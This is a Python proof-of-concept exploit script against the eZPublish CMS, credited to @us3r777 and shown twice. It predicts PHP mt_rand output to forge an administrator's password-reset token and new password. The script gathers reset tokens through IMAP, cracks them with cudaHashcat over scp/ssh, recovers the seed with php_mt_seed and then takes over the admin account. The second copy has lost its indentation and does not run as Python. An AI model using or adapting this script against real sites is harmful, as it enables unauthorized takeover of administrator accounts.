ez_token_predict.py

## ez_token_predict.py
#! /usr/bin/python
"""
eZPublish token reset and password prediction PoC.

This PoC is a bit dirty, to adapt it to your needs you may have to rewrite the
following functions :
  - getTokenFromMails(): used to retrieve emails and extract the reset token.
                         Is currently using GMail.
  - crackHashes(): used to crack the retrieved tokens in order to extract
                         mt_rand throws. Is currently using a remote cracking machine
                         and cudaHashcat.
@us3r777
"""

from socket import *
import urllib

import re
import argparse
import threading
import time, datetime
import subprocess
import sys
import hashlib

import imaplib
import getpass
import email

NB_TOKENS = 5 # The number of token to generate

def spawnNewApacheProcesses( conNum, host, port = 80):
    """ Creates the necessary connections in order for a new process to be spawn in apache. """
    request = 'GET / HTTP/1.1\r\nHost: '+ host + '\r\nConnection: Keep-Alive\r\n\r\n'
    sockList = []
    for i in range(conNum):
        s = socket(AF_INET, SOCK_STREAM)
        s.connect((host, port))
        s.send(request)
        sockList.append(s)

    return sockList


def closeNewApacheConnections( sockList ):
    """ Closes the opened connections. """
    for s in sockList:
        s.close()

def startHeartbeat(socket, request):
    """ Makes a request on the socket in order to keep the connection up """
    try:
      # NB_TOKENS requests have already been sent
      for i in range(0,100 - NB_TOKENS):
          socket.send(request)
          time.sleep(4)
    except:
      print("Connection has been closed. Stopping heartbeat")
    print("Heartbeat stopped")

def extractTokenFromMail(mail):
    """ Extracts token from the mail body """
    token = re.search("forgotpassword/([a-f0-9]{32})", mail).group(1)
    return token

def getTokensFromMails(email_address, password):
    """
    Fetches mail from email_address. This function currently fetches mail
    under ezpublish label from a gmail address.
    Adapt it to your needs.
    """
    tokens = []
    M = imaplib.IMAP4_SSL('imap.gmail.com')
    M.login(email_address, password)
    rv, data = M.select("ezpublish")
    if rv == 'OK':
        rv, data = M.search(None, "ALL")
        if rv != 'OK':
            print "No messages found!"
            return
        for num in data[0].split():
            rv, data = M.fetch(num, '(RFC822)')
            if rv != 'OK':
                print "ERROR getting message", num
                return

            msg = email.message_from_string(data[0][1])
            body = msg.get_payload()

            token = extractTokenFromMail(body)
            tokens.append(token)
            print("Token found : " + token)

            M.store(num, '+FLAGS', '\\Deleted') # Mark the mail as deleted
        M.expunge()
        M.close()
    M.logout()
    return tokens

def recvTimestamps(socket, nb_timestamp):
    """ Receives nb_timestamp timestamps from socket """
    timestamps = []
    timestamp_count = 0
    while timestamp_count < nb_timestamp:
      buf = socket.recv(256)
      match = re.search("Date:\ ...,\ ([^G]*)G", buf)
      if match:
        timestring = match.group(1)
        timestamp = time.mktime(datetime.datetime.strptime(timestring, "%d %b %Y %H:%M:%S ").timetuple())
        timestamp = int(timestamp + (3600 * 2)) # Hardcoded GMT+2
        timestamps.append(timestamp)
        timestamp_count += 1
        print("Timestamp found : " + str(timestamp))
    return timestamps


def timeSince(start):
    current_time = time.time() - start
    minutes = "%d" % (current_time / 60)
    seconds = "%0.2f" % (current_time % 60)
    return "[ " + minutes + " min " + seconds + " sec ]"

def crackHashes(tokens, timestamps, user_id, nb_tokens):
    """
    This function uses user_id and timestamps (salt) to crack the tokens.
    Currently it uses an external cracking machine to crack the hashes.
    Adapt it to your needs.
    """
    # Write hashes and salt to a file
    with open("hash", "w+") as hashfile:
      for i in range(nb_tokens):
        salt = (user_id + ":" + str(timestamps[i]) + ":").encode("hex")
        hashfile.write(tokens[i] + ":" + salt + "\n")

    # Upload the file on the password cracking machine
    print('[+] Uploading hashes to the password cracking machine')
    subprocess.call("scp hash 192.168.1.1:~/ezpublish", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    print('[+] Launching cudahashcat ...')
    mt_rand_values = [ None ] * nb_tokens
    command = "ssh 192.168.1.1 /opt/tools/cudaHashcat-1.36/cudaHashcat64.bin -a 3 -m 20 --hex-salt -i ~/ezpublish/hash '?d?d?d?d?d?d?d?d?d?d'"
    cudahashcat = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output = cudahashcat.communicate() # Wait for the process to end
    matches = re.findall("([0-9a-f]{32}):[0-9a-f]{26,30}:([0-9]{1,11})", output[0])
    for hash_recovered, mt_rand_value in matches:
      print("Hash " + hash_recovered + " recovered : " + mt_rand_value)
      mt_rand_values[tokens.index(hash_recovered)] = mt_rand_value
    return mt_rand_values

def crackSeed(mt_rand_values):
    """
    Uses php_mt_seed to crack the seed using the recovered mt_rand_values.
    php_mt_seed is available from http://www.openwall.com/php_mt_seed/
    the binary must be in the same directory.
    """
    MIN = "0"
    MAX = "2147483647"
    PHP_MT_SEED = "exec ./php_mt_seed"
    SEP = " "
    SKIP = "0 0 0 0"
    commands =  PHP_MT_SEED + SEP

    # Sometimes all mt_rand_values are not recovered due to difference in
    # timestamp between generation of the token and server response.
    for mt_rand_value in mt_rand_values:
      if mt_rand_value:
        commands += SKIP + SEP + mt_rand_value + SEP + mt_rand_value + SEP + MIN + SEP + MAX + SEP
      # Skip when there is no value
      else:
        commands += SKIP + SEP + SKIP + SEP

    print(commands)
    php_mt_seed = subprocess.Popen(commands, shell=True, stdout=subprocess.PIPE)
    seed = None

    while True:
        out = php_mt_seed.stdout.readline()
        if out == '' and php_mt_seed.poll() != None:
            break
        if out != '':
          match = re.search("seed\ =\ ([0-9]{1,11})",out)
          if match:
            seed = match.group(1)
            php_mt_seed.kill()
            break
    return seed

def recvAll(the_socket,timeout=2):
    the_socket.setblocking(0) # make socket non blocking
    total_data=[];
    data='';

    begin=time.time()
    while 1:
        if total_data and time.time()-begin > timeout:
            break
        elif time.time()- begin > timeout*2:
            break

        # recv something
        try:
            data = the_socket.recv(1024)
            if data:
                total_data.append(data)
                begin=time.time()
            else:
                time.sleep(0.1)
        except:
            pass

    the_socket.setblocking(1)
    #join all parts to make final string
    return ''.join(total_data)

def phpPredict(skip, seed):
    """
    Calls a php script to predict the number generated by PHP after SKIP
    throws using SEED to initialize the Mersene Twister generator
    """
    predict = subprocess.Popen("php predict.php " + str(skip) + " "  + seed,
                                   shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output = predict.communicate()[0]
    return re.match("([0-9]{1,11})", output).group(1)

def predictPassword(password_length, time, mt_rand_value):
    """
    python version of the ezPublish createPassword function from
    kernel/classes/datatypes/ezuser/ezuser.php
    """
    chars = 0;
    password = ''
    decimal = 0;
    seed = str(time) + ":" + mt_rand_value
    while chars < password_length:
        text = hashlib.md5(seed).hexdigest()
        characterTable = "abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ123456789"
        tableCount = len(characterTable)
        i = 0
        while chars < password_length  and i < 32:
            decimal += int(text[i:i+2], 16)
            index = decimal % tableCount
            character = characterTable[index]
            password += character
            i += 2
            chars += 1
    return password

def parseArguments():
    parser = argparse.ArgumentParser(
        description='EZPublish reset token and password prediction tool')

    parser.add_argument('--host', action='store', dest='host',
                        help='target hostname', required=True)
    parser.add_argument('--proc', action='store', dest='proc', default=15,
                        type=int, help='The number of process to spawn')
    parser.add_argument('--port', action='store', dest='port', type=int,
                        default=80, help='Port in which Apache is listening')
    parser.add_argument('--app-base', action='store', dest='app_base',
                        default="/", help='The application base path')
    parser.add_argument('--user-id', action='store', dest='user_id',
                        help='The id of the ezpublish user you control',
                        required=True)
    parser.add_argument('--user-email', action='store', dest='user_email',
                        help='The email of the ezpublish user you control',
                        required=True)
    parser.add_argument('--target-user-email', action='store', dest='target_email',
                        help='The email of the target ezpublish user',
                        required=True)
    parser.add_argument('--target-user-id', action='store', dest='target_user_id',
                        help='The id of the target ezpublish user',
                        default="14")
    args = parser.parse_args()
    return args

def sendResetRequest(socket, host, app_base, email):
    data = 'UserEmail=' + urllib.quote(email) + '&GenerateButton=G%C3%A9n%C3%A9rer+un+nouveau+mot+de+passe'
    request = 'POST ' + app_base + 'index.php/fre/user/forgotpassword HTTP/1.1\r\n' + \
              'Host: ' + host + '\r\n' + \
              'User-Agent: Mozilla/5.0\r\n' + \
              'Connection: keep-alive\r\n' + \
              'Content-Type: application/x-www-form-urlencoded\r\n' + \
              'Content-Length: ' + str(len(data)) + '\r\n\r\n' + \
              data
    socket.send(request)

def main():
    args = parseArguments()
    heartbeat_request = 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host
    start_time = time.time()

    print('[+] Forcing creation of new apache process. ' + timeSince(start_time))
    conList = spawnNewApacheProcesses( args.proc, args.host )

    print('[+] Requesting ' + str(NB_TOKENS) + ' password reset ... ' + timeSince(start_time))
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((args.host, args.port))

    for i in range(NB_TOKENS):
        time.sleep(2) # Wait to ensure throws have different timestamp
        sendResetRequest(s, args.host, args.app_base, args.user_email)
    timestamps = recvTimestamps(s, NB_TOKENS)

    print('[+] Starting Heartbeat ... ' + timeSince(start_time))
    thread = threading.Thread(None, startHeartbeat, None, (s, heartbeat_request), None)
    thread.start()

    print('[+] Getting the mails ... ' + timeSince(start_time))
    time.sleep(10) # Wait 10 seconds to ensure mails are transmited
    tokens = getTokensFromMails(args.user_email, getpass.getpass())

    print('[+] Cracking hashes')
    mt_rand_values = crackHashes(tokens, timestamps, args.user_id, NB_TOKENS)

    print('[+] Cracking the seed ... ' + timeSince(start_time))
    seed = crackSeed(mt_rand_values)

    if seed:
        print("\n-----------------------------------------")
        print("Seed found : " + seed + " " + timeSince(start_time))
        print("-----------------------------------------")

        # Flush the content of the pipe before reseting admin password
        # To get the right timestamp
        while(len(s.recv(256)) == 256):
          pass

        print("[+] Predicting token for user admin : ")
        mt_rand_value = phpPredict((NB_TOKENS * 2 + 1), seed)

        print("[+] Reseting admin password ... ")
        sendResetRequest(s, args.host, args.app_base, args.target_email)
        timestamp = recvTimestamps(s, 1)[0]

        token = hashlib.md5(args.target_user_id + ":"+ str(timestamp) + ":" + mt_rand_value).hexdigest()
        token_reset_url = args.app_base + "index.php/user/forgotpassword/" + token
        print("[+] Admin token url : http://" + args.host + token_reset_url)

        print("[+] GET " + token_reset_url + " ...")
        while(len(s.recv(256)) == 256):
          pass
        token_reset_request = 'GET ' + token_reset_url + ' HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host
        s.send(token_reset_request)
        timestamp = recvTimestamps(s, 1)[0]
        page = recvAll(s)
        match = re.search("Un nouveau mot de passe", page)
        if match:
          print("[+] Password successfully reset !")
          print("[+] Predicting password for user admin " + timeSince(start_time))
          mt_rand_value = phpPredict((NB_TOKENS * 2 + 2), seed)
          password = predictPassword(6, timestamp, mt_rand_value)
          print("-----------------------------------------")
          print("[+] Password of admin reset to : " + password + " " + timeSince(start_time))
          print("-----------------------------------------")
        else:
          print("[!] Unable to reset password using token " + token + ". Probably due to a timestamp mismatch.")

    s.close()
    closeNewApacheConnections( conList )

if __name__ == '__main__':
    main()
	#! /usr/bin/python
	"""
	eZPublish token reset and password prediction PoC.

	This PoC is a bit dirty, to adapt it to your needs you may have to rewrite the
	following functions :
	- getTokenFromMails(): used to retrieve emails and extract the reset token.
	Is currently using GMail.
	- crackHashes(): used to crack the retrieved tokens in order to extract
	mt_rand throws. Is currently using a remote cracking machine
	and cudaHashcat.
	@us3r777
	"""

	from socket import *
	import urllib

	import re
	import argparse
	import threading
	import time, datetime
	import subprocess
	import sys
	import hashlib

	import imaplib
	import getpass
	import email

	NB_TOKENS = 5 # The number of token to generate

	def spawnNewApacheProcesses( conNum, host, port = 80):
	""" Creates the necessary connections in order for a new process to be spawn in apache. """
	request = 'GET / HTTP/1.1\r\nHost: '+ host + '\r\nConnection: Keep-Alive\r\n\r\n'
	sockList = []
	for i in range(conNum):
	s = socket(AF_INET, SOCK_STREAM)
	s.connect((host, port))
	s.send(request)
	sockList.append(s)

	return sockList


	def closeNewApacheConnections( sockList ):
	""" Closes the opened connections. """
	for s in sockList:
	s.close()

	def startHeartbeat(socket, request):
	""" Makes a request on the socket in order to keep the connection up """
	try:
	# NB_TOKENS requests have already been sent
	for i in range(0,100 - NB_TOKENS):
	socket.send(request)
	time.sleep(4)
	except:
	print("Connection has been closed. Stopping heartbeat")
	print("Heartbeat stopped")

	def extractTokenFromMail(mail):
	""" Extracts token from the mail body """
	token = re.search("forgotpassword/([a-f0-9]{32})", mail).group(1)
	return token

	def getTokensFromMails(email_address, password):
	"""
	Fetches mail from email_address. This function currently fetches mail
	under ezpublish label from a gmail address.
	Adapt it to your needs.
	"""
	tokens = []
	M = imaplib.IMAP4_SSL('imap.gmail.com')
	M.login(email_address, password)
	rv, data = M.select("ezpublish")
	if rv == 'OK':
	rv, data = M.search(None, "ALL")
	if rv != 'OK':
	print "No messages found!"
	return
	for num in data[0].split():
	rv, data = M.fetch(num, '(RFC822)')
	if rv != 'OK':
	print "ERROR getting message", num
	return

	msg = email.message_from_string(data[0][1])
	body = msg.get_payload()

	token = extractTokenFromMail(body)
	tokens.append(token)
	print("Token found : " + token)

	M.store(num, '+FLAGS', '\\Deleted') # Mark the mail as deleted
	M.expunge()
	M.close()
	M.logout()
	return tokens

	def recvTimestamps(socket, nb_timestamp):
	""" Receives nb_timestamp timestamps from socket """
	timestamps = []
	timestamp_count = 0
	while timestamp_count < nb_timestamp:
	buf = socket.recv(256)
	match = re.search("Date:\ ...,\ ([^G]*)G", buf)
	if match:
	timestring = match.group(1)
	timestamp = time.mktime(datetime.datetime.strptime(timestring, "%d %b %Y %H:%M:%S ").timetuple())
	timestamp = int(timestamp + (3600 * 2)) # Hardcoded GMT+2
	timestamps.append(timestamp)
	timestamp_count += 1
	print("Timestamp found : " + str(timestamp))
	return timestamps


	def timeSince(start):
	current_time = time.time() - start
	minutes = "%d" % (current_time / 60)
	seconds = "%0.2f" % (current_time % 60)
	return "[ " + minutes + " min " + seconds + " sec ]"

	def crackHashes(tokens, timestamps, user_id, nb_tokens):
	"""
	This function uses user_id and timestamps (salt) to crack the tokens.
	Currently it uses an external cracking machine to crack the hashes.
	Adapt it to your needs.
	"""
	# Write hashes and salt to a file
	with open("hash", "w+") as hashfile:
	for i in range(nb_tokens):
	salt = (user_id + ":" + str(timestamps[i]) + ":").encode("hex")
	hashfile.write(tokens[i] + ":" + salt + "\n")

	# Upload the file on the password cracking machine
	print('[+] Uploading hashes to the password cracking machine')
	subprocess.call("scp hash 192.168.1.1:~/ezpublish", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

	print('[+] Launching cudahashcat ...')
	mt_rand_values = [ None ] * nb_tokens
	command = "ssh 192.168.1.1 /opt/tools/cudaHashcat-1.36/cudaHashcat64.bin -a 3 -m 20 --hex-salt -i ~/ezpublish/hash '?d?d?d?d?d?d?d?d?d?d'"
	cudahashcat = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	output = cudahashcat.communicate() # Wait for the process to end
	matches = re.findall("([0-9a-f]{32}):[0-9a-f]{26,30}:([0-9]{1,11})", output[0])
	for hash_recovered, mt_rand_value in matches:
	print("Hash " + hash_recovered + " recovered : " + mt_rand_value)
	mt_rand_values[tokens.index(hash_recovered)] = mt_rand_value
	return mt_rand_values

	def crackSeed(mt_rand_values):
	"""
	Uses php_mt_seed to crack the seed using the recovered mt_rand_values.
	php_mt_seed is available from http://www.openwall.com/php_mt_seed/
	the binary must be in the same directory.
	"""
	MIN = "0"
	MAX = "2147483647"
	PHP_MT_SEED = "exec ./php_mt_seed"
	SEP = " "
	SKIP = "0 0 0 0"
	commands = PHP_MT_SEED + SEP

	# Sometimes all mt_rand_values are not recovered due to difference in
	# timestamp between generation of the token and server response.
	for mt_rand_value in mt_rand_values:
	if mt_rand_value:
	commands += SKIP + SEP + mt_rand_value + SEP + mt_rand_value + SEP + MIN + SEP + MAX + SEP
	# Skip when there is no value
	else:
	commands += SKIP + SEP + SKIP + SEP

	print(commands)
	php_mt_seed = subprocess.Popen(commands, shell=True, stdout=subprocess.PIPE)
	seed = None

	while True:
	out = php_mt_seed.stdout.readline()
	if out == '' and php_mt_seed.poll() != None:
	break
	if out != '':
	match = re.search("seed\ =\ ([0-9]{1,11})",out)
	if match:
	seed = match.group(1)
	php_mt_seed.kill()
	break
	return seed

	def recvAll(the_socket,timeout=2):
	the_socket.setblocking(0) # make socket non blocking
	total_data=[];
	data='';

	begin=time.time()
	while 1:
	if total_data and time.time()-begin > timeout:
	break
	elif time.time()- begin > timeout*2:
	break

	# recv something
	try:
	data = the_socket.recv(1024)
	if data:
	total_data.append(data)
	begin=time.time()
	else:
	time.sleep(0.1)
	except:
	pass

	the_socket.setblocking(1)
	#join all parts to make final string
	return ''.join(total_data)

	def phpPredict(skip, seed):
	"""
	Calls a php script to predict the number generated by PHP after SKIP
	throws using SEED to initialize the Mersene Twister generator
	"""
	predict = subprocess.Popen("php predict.php " + str(skip) + " " + seed,
	shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	output = predict.communicate()[0]
	return re.match("([0-9]{1,11})", output).group(1)

	def predictPassword(password_length, time, mt_rand_value):
	"""
	python version of the ezPublish createPassword function from
	kernel/classes/datatypes/ezuser/ezuser.php
	"""
	chars = 0;
	password = ''
	decimal = 0;
	seed = str(time) + ":" + mt_rand_value
	while chars < password_length:
	text = hashlib.md5(seed).hexdigest()
	characterTable = "abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ123456789"
	tableCount = len(characterTable)
	i = 0
	while chars < password_length and i < 32:
	decimal += int(text[i:i+2], 16)
	index = decimal % tableCount
	character = characterTable[index]
	password += character
	i += 2
	chars += 1
	return password

	def parseArguments():
	parser = argparse.ArgumentParser(
	description='EZPublish reset token and password prediction tool')

	parser.add_argument('--host', action='store', dest='host',
	help='target hostname', required=True)
	parser.add_argument('--proc', action='store', dest='proc', default=15,
	type=int, help='The number of process to spawn')
	parser.add_argument('--port', action='store', dest='port', type=int,
	default=80, help='Port in which Apache is listening')
	parser.add_argument('--app-base', action='store', dest='app_base',
	default="/", help='The application base path')
	parser.add_argument('--user-id', action='store', dest='user_id',
	help='The id of the ezpublish user you control',
	required=True)
	parser.add_argument('--user-email', action='store', dest='user_email',
	help='The email of the ezpublish user you control',
	required=True)
	parser.add_argument('--target-user-email', action='store', dest='target_email',
	help='The email of the target ezpublish user',
	required=True)
	parser.add_argument('--target-user-id', action='store', dest='target_user_id',
	help='The id of the target ezpublish user',
	default="14")
	args = parser.parse_args()
	return args

	def sendResetRequest(socket, host, app_base, email):
	data = 'UserEmail=' + urllib.quote(email) + '&GenerateButton=G%C3%A9n%C3%A9rer+un+nouveau+mot+de+passe'
	request = 'POST ' + app_base + 'index.php/fre/user/forgotpassword HTTP/1.1\r\n' + \
	'Host: ' + host + '\r\n' + \
	'User-Agent: Mozilla/5.0\r\n' + \
	'Connection: keep-alive\r\n' + \
	'Content-Type: application/x-www-form-urlencoded\r\n' + \
	'Content-Length: ' + str(len(data)) + '\r\n\r\n' + \
	data
	socket.send(request)

	def main():
	args = parseArguments()
	heartbeat_request = 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host
	start_time = time.time()

	print('[+] Forcing creation of new apache process. ' + timeSince(start_time))
	conList = spawnNewApacheProcesses( args.proc, args.host )

	print('[+] Requesting ' + str(NB_TOKENS) + ' password reset ... ' + timeSince(start_time))
	s = socket(AF_INET, SOCK_STREAM)
	s.connect((args.host, args.port))

	for i in range(NB_TOKENS):
	time.sleep(2) # Wait to ensure throws have different timestamp
	sendResetRequest(s, args.host, args.app_base, args.user_email)
	timestamps = recvTimestamps(s, NB_TOKENS)

	print('[+] Starting Heartbeat ... ' + timeSince(start_time))
	thread = threading.Thread(None, startHeartbeat, None, (s, heartbeat_request), None)
	thread.start()

	print('[+] Getting the mails ... ' + timeSince(start_time))
	time.sleep(10) # Wait 10 seconds to ensure mails are transmited
	tokens = getTokensFromMails(args.user_email, getpass.getpass())

	print('[+] Cracking hashes')
	mt_rand_values = crackHashes(tokens, timestamps, args.user_id, NB_TOKENS)

	print('[+] Cracking the seed ... ' + timeSince(start_time))
	seed = crackSeed(mt_rand_values)

	if seed:
	print("\n-----------------------------------------")
	print("Seed found : " + seed + " " + timeSince(start_time))
	print("-----------------------------------------")

	# Flush the content of the pipe before reseting admin password
	# To get the right timestamp
	while(len(s.recv(256)) == 256):
	pass

	print("[+] Predicting token for user admin : ")
	mt_rand_value = phpPredict((NB_TOKENS * 2 + 1), seed)

	print("[+] Reseting admin password ... ")
	sendResetRequest(s, args.host, args.app_base, args.target_email)
	timestamp = recvTimestamps(s, 1)[0]

	token = hashlib.md5(args.target_user_id + ":"+ str(timestamp) + ":" + mt_rand_value).hexdigest()
	token_reset_url = args.app_base + "index.php/user/forgotpassword/" + token
	print("[+] Admin token url : http://" + args.host + token_reset_url)

	print("[+] GET " + token_reset_url + " ...")
	while(len(s.recv(256)) == 256):
	pass
	token_reset_request = 'GET ' + token_reset_url + ' HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host
	s.send(token_reset_request)
	timestamp = recvTimestamps(s, 1)[0]
	page = recvAll(s)
	match = re.search("Un nouveau mot de passe", page)
	if match:
	print("[+] Password successfully reset !")
	print("[+] Predicting password for user admin " + timeSince(start_time))
	mt_rand_value = phpPredict((NB_TOKENS * 2 + 2), seed)
	password = predictPassword(6, timestamp, mt_rand_value)
	print("-----------------------------------------")
	print("[+] Password of admin reset to : " + password + " " + timeSince(start_time))
	print("-----------------------------------------")
	else:
	print("[!] Unable to reset password using token " + token + ". Probably due to a timestamp mismatch.")

	s.close()
	closeNewApacheConnections( conList )

	if __name__ == '__main__':
	main()